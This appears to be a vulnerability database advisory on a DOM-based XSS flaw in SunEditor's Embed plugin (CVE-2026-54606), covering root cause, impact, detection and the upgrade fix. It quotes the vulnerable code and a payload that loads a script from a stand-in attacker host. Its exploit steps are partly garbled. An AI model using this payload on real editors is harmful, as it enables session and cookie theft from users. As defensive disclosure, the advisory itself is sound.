
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-54606 is a DOM-based Cross-Site Scripting (XSS) vulnerability in the SunEditor Embed plugin (src/plugins/modal/embed.js), a lightweight WYSIWYG JavaScript editor. The flaw allows an authenticated attacker with low privileges to inject a malicious <script> element after a valid <iframe> in raw embed HTML, which the plugin recreates and appends to the live DOM, triggering JavaScript execution. All versions up to and including v3.1.3 (npm package suneditor) are affected; the issue was fixed in version 3.1.4. It was originally reported on May 15, 2026, and the security advisory was published on June 20, 2026, with the CVE formally assigned on August 26, 2026. The vulnerability carries a CVSS v4.0 base score of 8.5 (High) (Github Advisory, GHSA Security Advisory).
The root cause is improper neutralization of user-controlled input during web page generation (CWE-79). The Embed plugin uses DOMParser to parse raw embed HTML submitted by a user, then iterates over the resulting child nodes. When a <script> element is encountered after a valid <iframe>, the plugin unconditionally extracts the attacker-controlled src attribute and creates a new live <script> element via dom.utils.createElement, appending it to the DOM — causing the browser to fetch and execute the external script. The critical vulnerable code path is:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children;
if (/^script$/i.test(chd.nodeName)) {
scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null);
continue;
}
cover.appendChild(scriptTag);Exploitation requires the attacker to have access to the SunEditor Embed modal (low privilege) and a victim user to open, preview, or edit the stored/reflected content (GHSA Security Advisory, Github Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of any user who opens, previews, renders, or edits the malicious SunEditor content. This can result in theft of session tokens, cookies, or sensitive page data (high confidentiality impact), unauthorized account actions or content modification on behalf of the victim (high integrity impact), and potential privilege escalation if administrators are targeted. The impact is especially severe in applications that store SunEditor content server-side without additional backend sanitization, as a single malicious embed can persistently affect all subsequent viewers (GHSA Security Advisory, Github Advisory).
A public proof-of-concept (PoC) is included in the GitHub security advisory, demonstrating exploitation via a crafted embed payload served from a local HTTP server. The NVD SSVC assessment classifies exploitation as "poc" (PoC available), with the attack not being automatable and requiring passive user interaction. The EPSS score is 0.0, indicating low current probability of widespread exploitation. There is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time (Github Advisory, GHSA Security Advisory).
suneditor) version ≤ 3.1.3 with the Embed plugin enabled, particularly those that store or display editor content to other users (e.g., CMS platforms, admin panels).poc.js containing alert(1) or a credential-harvesting script).<iframe src="https://youtube.com/embed/x"></iframe><script src="https://attacker.com/poc.js"><script> element and appends it to the live DOM, causing the browser to fetch and execute the attacker's script in the victim's session.GET /poc.js or similar script file requests from application users' IP addresses.<iframe> and <script src= tags in the same payload; browser developer console errors or network requests to attacker-controlled domains triggered during editor page load.<script src= elements alongside <iframe> tags, particularly from unexpected or low-privilege users.Upgrade the suneditor npm package to version 3.1.4 or later, which introduces a scriptSrcWhitelist option (defaulting to [], rejecting all script tags) and validates iframe src attributes against registered URL patterns (SunEditor Release, Fix Commit). If upgrading immediately is not possible, apply backend sanitization to strip <script> elements from any SunEditor-generated content before storing or rendering it. For applications requiring legitimate external embed scripts (e.g., Twitter widgets), configure the new scriptSrcWhitelist option with explicit trusted patterns:
pluginOptions.embed.scriptSrcWhitelist: [
/^https:\/\/platform\.twitter\.com\/widgets\.js$/
]Note that version 3.1.4 also introduces breaking changes to spanStyles/lineStyles options and iframe src validation — review the release notes before upgrading (SunEditor Release).
The vulnerability was responsibly disclosed by researcher Adyej999, who filed a GitHub issue on May 15, 2026, and coordinated with the maintainer before public disclosure. The maintainer (JiHong88) addressed the issue in the 3.1.4 milestone and published the fix alongside a formal security advisory on June 20, 2026. No significant broader media coverage or notable community controversy has been identified beyond the GitHub advisory and standard vulnerability tracking (GHSA Security Advisory, GitHub Issue).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."